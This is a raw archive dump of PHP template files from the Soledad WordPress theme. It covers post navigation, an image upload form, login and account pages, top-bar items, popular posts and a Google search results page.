                        <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                        </div>
                    </a>
					<?php if ( $style == 'style-3' ): ?>
                </div>
			<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>

	<?php if ( ! empty( $next_post ) ) : ?>
        <div class="next-post">
			<?php if ( has_post_thumbnail( $next_post->ID ) && $show_thumb ):
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( $next_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( $next_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php elseif ( 'style-1' != $style ): ?>

                <a <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load nav-thumb-next penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php endif; ?>
            <div class="next-post-inner">
				<?php if ( $style == 'style-3' ): ?>
                <div class="next-post-inner-ct">
					<?php endif; ?>
                    <div class="prev-post-title next-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                        </div>
                    </a>
					<?php if ( $style == 'style-3' ): ?>
                </div>
			<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>
</div>
PK     0w\uW$Q  Q    templates/upload_form.phpnu [        <?php
extract( $args );
$btn_class              = is_admin() ? ' button button-primary' : '';
$upload_preview_wrapper = $wrapper = isset( $wrapper ) && ! empty( $wrapper ) ? $wrapper : 'upload_preview_container'; ?>
<div id="<?php echo esc_attr( $id ); ?>" class="penci_upload_wrapper <?php echo esc_attr( $class ); ?>">

	<?php if ( apply_filters( 'penci_enable_upload', true ) ) : ?>
        <div class="<?php echo esc_attr( $upload_preview_wrapper ); ?>">
            <ul>
				<?php

				if ( $source && is_array( $source ) ) {
					$output = '';

					foreach ( $source as $item ) {
						if ( is_string( $item ) && ! is_numeric( $item ) ) {
							$output .=
								'<li>
                                <input type="hidden" name="' . $name . '[]" value="' . esc_attr( $item ) . '">
                                <img src="' . esc_url( $item ) . '">
                                <div class="remove"><i class="penciicon-close-button"></i></div>
                            </li>';
						} else {
							$image = wp_get_attachment_image_src( $item, apply_filters( 'penci_upload_preview_size', 'thumbnail' ) );

							if ( $image ) {
								$output .=
									'<li>
									<input type="hidden" name="' . $name . '[]" value="' . esc_attr( $item ) . '">
									<img alt="" src="' . esc_url( $image[0] ) . '"/>
									<div class="remove"><i class="penciicon-close-button"></i></div>
								</li>';
							}
						}
					}

					echo $output;
				}
				?>
            </ul>
        </div>
        <div id="<?php echo esc_attr( $button ); ?>" class="penci-upload-img-btn <?php echo $btn_class; ?>">
            <i class="fa fa-folder-open-o"></i>
            <span><?php echo isset( $heading ) && $heading ? $heading : penci_get_setting( 'penci_trans_cimage' ); ?></span>
        </div>
	<?php else : ?>
		<?php echo apply_filters( 'penci_enable_upload_msg', '' ); ?>
	<?php endif ?>

</div>

<?php if ( apply_filters( 'penci_enable_upload', true ) ) : ?>
    <script>
        (function ($) {
            $(document).on('ready', function () {
                var file_frame;

                $('#<?php echo esc_js( $button ); ?>').on('click', function (event) {
                    event.preventDefault();

                    var container = $(this).closest('.penci_upload_wrapper');

                    if (file_frame) {
                        file_frame.open();
                        return;
                    }

                    file_frame = wp.media.frames.file_frame = wp.media({
                        title: '<?php echo penci_get_setting( 'penci_trans_admedia' ); ?>',
                        button: {
                            text: '<?php echo penci_get_setting( 'penci_trans_insert' ); ?>',
                        },
                        library: {
                            type:
							<?php
							$type = isset( $type ) && ! empty( $type ) ? $type : '';
							echo json_encode( $type );
							?>
                        },
                        multiple:
						<?php
						$multi = $multi ? 'true' : 'false';
						echo $multi;
						$multi = $multi === 'true' ? true : false;
						?>
                    });

                    file_frame.on('select', function () {
                        var output = '',
                            attachment = file_frame.state().get('selection').toJSON();

                        for (var i = 0; i < attachment.length; i++) {
                            output +=
                                '<li>' +
                                '<input type="hidden" name="<?php echo esc_attr( $name ); ?>[]" value="' + attachment[i]['id'] + '">' +
                                '<img src="' + attachment[i]['url'] + '">' +
                                '<div class="remove"><i class="penciicon-close-button"></i></div>' +
                                '</li>';
                        }


						<?php if ( $multi ) : ?>
                        container.find('ul').append(output);
						<?php else : ?>
                        container.find('ul').html(output);
						<?php endif ?>
                    });

                    file_frame.open();
                });

                $('#<?php echo esc_js( $id ); ?>').find(".<?php echo esc_attr( $upload_preview_wrapper ); ?>").on('click', '.remove', function () {
                    var parent = $(this).parent();
                    $(parent).fadeOut(function () {
                        $(this).remove();
                    });
                });

                $('#<?php echo esc_js( $id ); ?>').find('.<?php echo esc_attr( $upload_preview_wrapper ); ?> ul').sortable();
            });
        })(jQuery);
    </script>
<?php endif ?>
PK     0w\MO  O  "  templates/related_posts_author.phpnu [        <?php
/**
 * Related post template
 * Render list related posts
 *
 * @since 8.3.9
 */
$author_id = isset( $args['id'] ) && $args['id'] ? $args['id'] : null;

if ( ! $author_id ) {
	return;
}
$data_auto = 'true';
$auto      = get_theme_mod( 'penci_post_related_autoplay' );
if ( $auto == false ): $data_auto = 'false'; endif;

$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_numbers_related_post' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 6; endif;

$orderby_post = 'date';
if ( get_theme_mod( 'penci_related_orderby' ) && get_theme_mod( 'penci_related_orderby' ) != 'date' ):
	$orderby_post = get_theme_mod( 'penci_related_orderby' );
endif;

$related_order_post   = get_theme_mod( 'penci_related_sort_order' );
$related_order_post   = $related_order_post ? $related_order_post : 'DESC';
$related_title_length = get_theme_mod( 'penci_related_posts_title_length' ) ? get_theme_mod( 'penci_related_posts_title_length' ) : 8;
$penci_related_by     = get_theme_mod( 'penci_related_by' );

$query_args = [
	'author'         => $author_id,
	'posts_per_page' => $numbers_related,
	'orderby'        => $orderby_post,
	'order'          => $related_order_post
];

if ( 'most_liked' == $orderby_post ) {
	$query_args['meta_key'] = '_post_like_count';
	$query_args['orderby']  = 'meta_value_num';
}

if ( ! empty( $query_args ) ) {
	$query = new wp_query( $query_args );
	if ( $query->have_posts() ) {
		$align        = 'none';
		$title_align  = 'left';
		$grid_columns = 2;

		$wrapper_class = 'penci-ilrelated-posts';
		$style         = 'grid';
		$wrapper_class .= ' pcilrt-' . $style . ' pcilrt-' . $align . ' pcilrt-col-' . $grid_columns;


		?>
        <div class="<?php echo $wrapper_class; ?>">
            <ul class="pcilrp-content">
				<?php while ( $query->have_posts() ) : $query->the_post(); ?>
                    <li class="pcilrp-item pcilrp-item-<?php echo $style; ?>">
                        <div class="pcilrp-flex">

                            <div class="pcilrp-thumb">

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), get_the_title() ); ?>
                                </a>

                            </div>

                            <div class="pcilrp-body">
                                <div class="pcilrp-title">
                                    <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                </div>

                            </div>
                        </div>
                    </li>
				<?php endwhile; ?>
            </ul>
        </div>

		<?php


	}
	wp_reset_postdata();
}PK     0w\~L  L    templates/topbar_social.phpnu [        <div class="pctopbar-item penci-topbar-social<?php if( get_theme_mod('penci_top_bar_brand_social') ): echo ' penci-social-textcolored'; endif; if( get_theme_mod('penci_tblogin') ): echo ' penci-lgdisplay-' . get_theme_mod('penci_tblogin'); endif; ?>">
	<?php
	if( get_theme_mod( 'penci_tblogin' ) == 'left' ){
		get_template_part( 'inc/templates/topbar_login' );
	}
	if( ! get_theme_mod( 'penci_top_bar_hide_social' ) ){
		get_template_part( 'inc/modules/socials' );
	}
	if( get_theme_mod( 'penci_tblogin' ) == 'right' ){
		get_template_part( 'inc/templates/topbar_login' );
	}
	?>
</div>PK     0w\iՂo  o    templates/account_password.phpnu [        <?php if ( isset( $_POST['success-message'] ) ) : ?>
	<div class="alert-success alert alert-dismissible fade in"
		role="alert"><?php echo esc_html( $_POST['success-message'] ); ?></div>
<?php endif ?>

<?php if ( isset( $_POST['error-message'] ) ) : ?>
	<div class="alert-error alert alert-dismissible fade in"
		role="alert"><?php esc_html_e( $_POST['error-message'] ); ?></div>
<?php endif ?>

<form method="post" action="">
	<div class="row clearfix">
		<!-- old password -->
		<div class="pccol_2 old_password-field">
			<div class="form-group">
				<label for="old_password"><?php echo penci_get_setting( 'penci_trans_oldpassword' ); ?> <span
							class="required">*</span></label>
				<input id="old_password" name="old_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- new password -->
		<div class="pccol_2 new_password-field">
			<div class="form-group">
				<label for="new_password"><?php echo penci_get_setting( 'penci_trans_newpassword' ); ?></label> <span
						class="required">*</span></label>
				<input id="new_password" name="new_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- confirm password -->
		<div class="pccol_2 confirm_password-field">
			<div class="form-group">
				<label for="confirm_password"><?php echo penci_get_setting( 'penci_trans_cpassword' ); ?></label>
				<span
						class="required">*</span></label>
				<input id="confirm_password" name="confirm_password" type="password" class="form-control" value="">
			</div>
		</div>
	</div>
	<div class="row clearfix">
		<!-- submit -->
		<div class="pccol_1">
			<div class="form-group">
				<input type="hidden" name="penci-action" value="change-password"/>
				<input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>"/>
				<input type="hidden" name="penci-account-nonce"
						value="<?php echo esc_attr( wp_create_nonce( 'penci-account-nonce' ) ); ?>"/>
				<input type="submit" value="<?php echo penci_get_setting( 'penci_trans_change_password' ); ?>"/>
			</div>
		</div>
	</div>
</form>
PK     0w\w_      templates/shop_login.phpnu [        <?php
echo '<ul class="pcshop-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$myaccount_page_url = get_edit_profile_url();
	$myaccount_page_id  = get_option( 'woocommerce_myaccount_page_id' );
	if ( $myaccount_page_id ) {
		$myaccount_page_url = get_permalink( $myaccount_page_id );
	}

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => $myaccount_page_url,
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array['logout'] = array(
		'icon' => 'fas fa-sign-out-alt',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();

	$link_login = get_author_posts_url( $current_user->ID );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}

	$avatar_html = get_avatar( $current_user->user_email, '30' );
	if ( function_exists( 'get_wp_user_avatar' ) ) {
		$avatar_html = get_wp_user_avatar( $current_user->ID, '30' );
	}

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$login_text = __( '<span>Login</span><span>Sign Up</span>', 'soledad' );
	$login_text = penci_get_setting( 'penci_tblogin_text' ) ? penci_get_setting( 'penci_tblogin_text' ) : $login_text;

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . '<span>' . wp_kses( $login_text, array( 'span' => array() ) ) . '</span></a></li>';
}

echo '</ul>';
PK     0w\BKA+  +    templates/topbar_text.phpnu [        <?php if( penci_get_setting( 'penci_tb_date_text' ) ){
$custom_text = penci_get_setting( 'penci_tb_date_text' );
?>
<div class="pctopbar-item penci-topbar-ctext">
	<?php 
	$tex = do_shortcode( $custom_text ); 
	$tex = str_replace('</span> ', '</span>&nbsp;', $tex);
	echo $tex;
	?>
</div>
<?php } ?>PK     0w\ڔ      templates/topbar_login.phpnu [        <?php
echo '<ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) && ! get_theme_mod( 'penci_disable_user_profiles' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	if ( ! get_theme_mod( 'penci_disable_user_profiles' ) ) {

		$logged_in_array['profile'] = array(
			'icon' => 'far fa-user-circle',
			'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
			'text' => penci_get_setting( 'penci_trans_profile_text' ),
		);
	}

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fas fa-sign-out-alt',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();

	$link_login = get_author_posts_url( $current_user->ID );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}

	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_get_setting( 'penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_get_setting( 'penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul>';PK     0w\2      templates/topbar_topposts.phpnu [        <div class="pctopbar-item penci-topbar-trending">
	<?php if ( penci_get_setting( 'penci_top_bar_custom_text' ) ) {
		$toptext_style = get_theme_mod( 'penci_top_bar_custom_style' ) ? get_theme_mod( 'penci_top_bar_custom_style' ) : 'nticker-style-1';
		?>
        <span class="headline-title <?php echo $toptext_style; ?>"><?php echo penci_get_setting( 'penci_top_bar_custom_text' ); ?></span>
	<?php } ?>
	<?php
	/**
	 * Display headline slider
	 */
	$number_posts = get_theme_mod( 'penci_top_bar_posts_per_page' ) ? get_theme_mod( 'penci_top_bar_posts_per_page' ) : 10;
	$topbar_cat   = get_theme_mod( 'penci_top_bar_category' );
	$topbar_sort  = get_theme_mod( 'penci_top_bar_display_by' );
	$title_length = get_theme_mod( 'penci_top_bar_title_length' ) ? get_theme_mod( 'penci_top_bar_title_length' ) : 8;

	$args = array(
		'post_type'      => 'post',
		'posts_per_page' => $number_posts
	);

	if ( ! get_theme_mod( 'penci_top_bar_tags' ) || get_theme_mod( 'penci_top_bar_filter_by' ) != 'tags' ) {
		if ( $topbar_cat ):
			$args['cat'] = $topbar_cat;
		endif;
	} elseif ( get_theme_mod( 'penci_top_bar_tags' ) && get_theme_mod( 'penci_top_bar_filter_by' ) == 'tags' ) {
		$list_tag          = get_theme_mod( 'penci_top_bar_tags' );
		$list_tag_trim     = str_replace( ' ', '', $list_tag );
		$list_tags         = explode( ',', $list_tag_trim );
		$args['tax_query'] = array(
			array(
				'taxonomy' => 'post_tag',
				'field'    => 'slug',
				'terms'    => $list_tags
			),
		);
	}

	if ( $topbar_sort == 'all' ) {
		$args['meta_key'] = penci_get_postviews_key();
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'week' ) {
		$args['meta_key'] = 'penci_post_week_views_count';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'month' ) {
		$args['meta_key'] = 'penci_post_month_views_count';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	} elseif ( $topbar_sort == 'month' ) {
		$args['meta_key'] = '_jetpack_post_view';
		$args['orderby']  = 'meta_value_num';
		$args['order']    = 'DESC';
	}

	$news = new WP_Query( $args );
	if ( $news->have_posts() ):
		$auto_play = 'true';
		if ( get_theme_mod( 'penci_top_bar_posts_autoplay' ) ): $auto_play = 'false'; endif;
		$auto_time  = get_theme_mod( 'penci_top_bar_auto_time' );
		$auto_speed = get_theme_mod( 'penci_top_bar_auto_speed' );
		$auto_time  = ( is_numeric( $auto_time ) && $auto_time > 0 ) ? $auto_time : '3000';
		$auto_speed = ( is_numeric( $auto_speed ) && $auto_speed > 0 ) ? $auto_speed : '200';
		$animation  = get_theme_mod( 'penci_top_bar_animation' ) ? get_theme_mod( 'penci_top_bar_animation' ) : 'slideInUp';
		$main_class = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
		if ( $animation != 'marquee' ) :
			?>
            <span class="penci-trending-nav">
			<a class="penci-slider-prev" href="#"
               aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
			<a class="penci-slider-next" href="#"
               aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
		</span>
		<?php
		else:
			wp_enqueue_script( 'penci-marquee' );
		endif; ?>
        <div class="<?php echo $main_class; ?> swiper penci-owl-carousel penci-owl-carousel-slider penci-headline-posts"
             data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
             data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
            <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post();
					$title_full = get_the_title();
					?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
            </div>
        </div>
	<?php endif; /* End check if no posts */ ?>
</div>PK     0w\C	  	    templates/popular_posts.phpnu [        <?php
extract( $args );
$page_num      = isset( $paged ) && $paged ? $paged : 1;
$column_format = isset( $columns ) && $columns ? 'columns-format col-' . $columns : 'normal-format';
$class         .= isset( $mcolumns ) && $mcolumns ? ' m-col-' . $mcolumns : '';
$class         .= isset( $tcolumns ) && $tcolumns ? ' t-col-' . $tcolumns : '';
$class         .= ' ' . $column_format;
?>
<ul <?php echo $data_attr; ?> class="popularpost_list <?php echo esc_attr( $class ); ?>"
                              id="<?php echo esc_attr( $id ); ?>">
	<?php
	$count         = 1;
	$post_per_page = $loop->query['posts_per_page'];
	while ( $loop->have_posts() ) : $loop->the_post();
		$count_class  = $count == 1 && $column_format == 'normal-format' ? ' first' : '';
		$count_number = $page_num > 1 ? $count + ( $post_per_page * ( $page_num - 1 ) ) : $count;
		?>
        <li class="popularpost_item<?php echo esc_attr( $count_class ); ?>">
			<?php if ( $count == 1 && $column_format == 'normal-format' ): ?>
                <div class="pcpopular_new_thumb">
                    <div class="thumbnail-container">
                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
							<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                        </a>
                    </div>
                </div>
			<?php endif; ?>
            <h3 class="pcpopular_new_post_title"><a
                        href="<?php the_permalink(); ?>"
                        data-num="<?php echo $count_number; ?>">
					<?php
					if ( ! $title_length || ! is_numeric( $title_length ) ) {
						the_title();
					} else {
						echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
					}
					?>

                </a></h3>
            <div class="popularpost_meta">
				<?php if ( $showauthor ): ?>
                    <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                class="url fn n"
                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
				<?php endif; ?>
				<?php if ( ! $postdate ): ?>
                    <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( $showcomment ): ?>
                    <span class="side-item-meta side-wcomments"><a
                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php if ( $showviews ): ?>
                    <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
            </div>
        </li>
		<?php
		$count ++;
	endwhile;
	wp_reset_postdata(); ?>
</ul>PK     0w\U=	  	    templates/account.phpnu [        <?php
add_filter( 'theme_mod_penci_featured_slider', '__return_false' );
$user_id      = get_current_user_id();
$account      = PenciUserProfile::getInstance();
$endpoint     = $account->get_endpoint();
$current_page = $account->get_current_page();
unset( $endpoint['editor'] );
get_header(); ?>
	<div class="container container-single-page container-default-page">
		<div id="main" class="penci-main-single-page-default">
			<div class="pcac_page_container">
				<div class="pcac_page_left">
					<div class="pcac_author_info">
						<?php echo get_avatar( get_current_user_id(), '128', '', get_the_author_meta( 'display_name' ), array( 'class' => 'img-rounded' ) ); ?>
						<div class="pcac_author_content">
							<h3 class="pcac_author_name">
								<?php echo esc_html( get_the_author_meta( 'display_name', $user_id ) ); ?>
							</h3>
							<span class="pcac_author_roles">
								<?php echo esc_html( get_the_author_meta( 'email', $user_id ) ); ?>
							</span>
						</div>
						<div class="pcac_account_nav">
							<ul>
								<?php
								foreach ( array_slice( $endpoint, 1 ) as $item ) :
									$class = $current_page == $item['slug'] ? 'penci-nav-user-item active' : 'penci-nav-user-item';
									?>
									<li class="<?php echo esc_attr( $class ); ?>">
										<a href="<?php echo esc_url( penci_home_url_multilang( $endpoint['account']['slug'] . '/' . $item['slug'] ) ); ?>"><?php _e( $item['title'], 'soledad' ); ?></a>
									</li>
								<?php endforeach ?>
							</ul>
							<?php
							if ( has_nav_menu( 'user-menu' ) ) {
								wp_nav_menu(
									array(
										'theme_location' => 'user-menu',
										'container'      => '',
									)
								);
							}
							?>
						</div>
						<?php do_action( 'penci_after_account_nav' ); ?>
					</div>
				</div>
				<div class="pcac_page_right">
					<h1 class="pcac_account_title"><?php do_action( 'penci_account_right_title' ); ?></h1>
					<?php do_action( 'penci_account_main_content' ); ?>
				</div>
			</div>
		</div>
	</div>
<?php
get_footer(); ?>
PK     0w\ֵ!    "  templates/google_search_result.phpnu [        <?php
/**
 * This template will display google search result page
 *
 * @package Wordpress
 * @since 1.0
 */

get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();

$show_sidebar = false;
if ( ( penci_get_setting( 'penci_sidebar_archive' ) ) ) {
	$show_sidebar = true;
} else {
	/* Use $template to detect sidebar for category - use this value for load correct sidebar in content templates */
	$template = 'no-sidebar';
}

$title_acls = 'pcatitle-' . get_theme_mod('penci_archive_titlealign', 'default');

$archive_desc_align = get_theme_mod( 'penci_archive_descalign', '' );
if ( $archive_desc_align ) {
	$archive_desc_align = ' pcdesc-' . $archive_desc_align;
}

/* Categories layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;

$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
            <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( $show_sidebar ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                           <span><a class="crumb"
                                    href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                        <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
                    </div>
				<?php } ?>
			<?php endif; ?>

            <div class="archive-box">
                <div class="title-bar <?php echo $title_acls;?>">
                    <span><?php echo penci_get_setting( 'penci_trans_search_results_for' ); ?></span>
                    <h1><?php printf( esc_html__( '"%s"', 'soledad' ), get_search_query() ); ?></h1>
                </div>
            </div>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php
			if ( get_theme_mod( 'penci_gsr_searchform' ) ) {
				$gcse_code = 'search';
			} else {
				$gcse_code = 'searchresults-only';
			}

			$content = '<div class="penci_gsr_wrapper" id="penci_gsr_wrapper_id">';

			$content .= '<div class="gcse-' . $gcse_code . '" data-linktarget="' . get_theme_mod( 'penci_gsr_target', '_self' ) . '"></div>';

			$content .= '</div>';

			echo $content;
			?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

        </div>
    </div>

	<?php
	if ( $show_sidebar ) {
		get_sidebar();

		$category_layout_sidebar = get_theme_mod( 'penci_two_sidebar_archive' );

		if ( 'two' == $category_layout_sidebar ) {
			get_sidebar( 'left' );
		}
	}
	?>
</div>
<?php get_footer(); ?>
PK     0w\ڏ/  /    templates/like_posts.phpnu [        <?php
